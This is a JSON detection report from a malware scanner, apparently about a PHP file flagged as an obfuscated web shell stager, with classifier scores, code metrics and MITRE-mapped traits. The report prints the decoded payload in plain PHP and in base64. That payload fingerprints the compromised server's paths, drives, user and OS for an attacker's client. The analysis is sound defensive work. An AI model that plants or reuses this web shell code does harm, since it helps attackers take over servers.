{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9975718855857849,
        "class": 2
      }
    ],
    "prob": 0.9975719,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.6954031,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.34155977,
        "class": 0
      },
      {
        "m": "az/php",
        "prob": 0.9975719,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T12:10:43Z"
  },
  "path": "dc1.php",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₂(As₃C)Md₃(Pt)",
        "k": {
          "source.strings[0]": "800882;@ini_set(\"display_errors\",\"0\");@set_time_limit(0);@set_magic_quotes_runtime(0);echo(\"-\u003e|\");;$D=dirname($_SERVER[\"SCRIPT_FILENAME\"]);if($D==\"\")$D=dirname($_SERVER[\"PATH_TRANSLATED\"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],\"\\\\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER[\"PHP_SELF\"]):str_replace(str_replace(\"/\",\"\\\\\",isset($_SERVER[\"PHP_SELF\"])?$_SERVER[\"PHP_SELF\"]:(isset($_SERVER[\"URL\"])?$_SERVER[\"URL\"]:$_SERVER[\"SCRIPT_NAME\"])),\"\",isset($_SERVER[\"PATH_TRANSLATED\"])?$_SERVER[\"PATH_TRANSLATED\"]:$_SERVER[\"SCRIPT_FILENAME\"])));$R=\"{$D}|\".$root.\"|\";if(substr($D,0,1)!=\"/\"){foreach(range(\"A\",\"Z\") as $L)if(is_dir(\"{$L}:\"))$R.=\"{$L}:\";}$R.=\"|\";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.=\"({$usr})\";print $R;;echo(\"|\u003c-\");die();",
          "source.strings[1]": "BaSE64_dEcOdE",
          "source.strings[2]": "ODAwODgyO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk/JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk/JF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7"
        },
        "x": 2,
        "id": 0,
        "ms": {
          "file": {
            "size": 1300.0
          },
          "text": {
            "digit_ratio": 0.11,
            "space_count": 4.0,
            "total_lines": 4.0,
            "char_entropy": 5.69,
            "unique_chars": 73.0,
            "lines_over_200": 1.0,
            "lines_over_500": 1.0,
            "string_density": 1.0,
            "avg_line_length": 324.0,
            "lines_over_1000": 1.0,
            "max_line_length": 1253.0,
            "last_line_length": 16.0,
            "long_token_count": 1.0,
            "most_common_char": "V",
            "whitespace_ratio": 0.01,
            "most_common_ratio": 0.05,
            "identifier_density": 1.0,
            "line_length_stddev": 536.39,
            "encoded_string_ratio": 0.5,
            "normalized_string_count": 2.0,
            "max_inline_whitespace_run": 1.0,
            "suspicious_identifier_ratio": 1.0,
            "normalized_unique_identifiers": 1.0
          },
          "strings": {
            "total": 4.0,
            "avg_length": 628.5,
            "max_length": 1244.0,
            "avg_entropy": 4.37,
            "total_bytes": 2514.0,
            "entropy_stddev": 1.19,
            "base64_candidates": 2.0,
            "very_long_strings": 2.0,
            "high_entropy_count": 2.0
          },
          "comments": {},
          "functions": {},
          "identifiers": {
            "total": 4.0,
            "avg_length": 2.0,
            "max_length": 2.0,
            "min_length": 2.0,
            "avg_entropy": 1.0,
            "reuse_ratio": 0.5,
            "unique_count": 2.0,
            "has_digit_ratio": 1.0,
            "sequential_names": 2.0,
            "numeric_suffix_count": 2.0
          }
        },
        "ss": [
          [
            12,
            "ODAwODgyO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwi"
          ],
          [
            13,
            "ODAwODgyO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwi"
          ],
          [
            1266,
            "BaSE64_dEcOdE"
          ],
          [
            1267,
            "BaSE64_dEcOdE"
          ],
          [
            6,
            "base64",
            "800882;@ini_set(\"display_errors\",\"0\");@set_time_limit(0);@set_magic_quotes_runtime(0);echo(\"-\u003e|\");;$D=dirname($_SERVER[\"SCRIPT_F"
          ]
        ],
        "sz": 1300,
        "ts": [
          {
            "c": 0.949999988079071,
            "d": "PHP open tag (\u003c?php)",
            "e": [
              "\u003c?php"
            ],
            "i": "metadata/lang/scripted::php-open-tag",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.8600000143051147,
            "d": "Very long embedded string",
            "e": [
              "strings.max_length = 1244.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 4.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.8399999737739563,
            "d": "Near-zero whitespace script",
            "e": [
              "text.whitespace_ratio = 0.01"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 1253.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "PHP variable function invocation pattern",
            "e": [
              "z9"
            ],
            "i": "objectives/anti-static/obfuscation/imports::dynamic-function-execution",
            "l": 3
          },
          {
            "c": 0.6000000238418579,
            "d": "Very long base64 strings present",
            "e": [
              "ODAwODgyO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwi"
            ],
            "i": "objectives/anti-static/obfuscation/string/base64::long-base64-in-strings",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "800882;@ini_set(\"display_errors\",\"0\");@s \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3
          }
        ],
        "sha": "43ca385faafda2f916e4e56005808df060c5c5772974106fcce4533ddd37e33a",
        "path": "dc1.php",
        "type": "php"
      }
    ],
    "tv": "0a4d2"
  }
}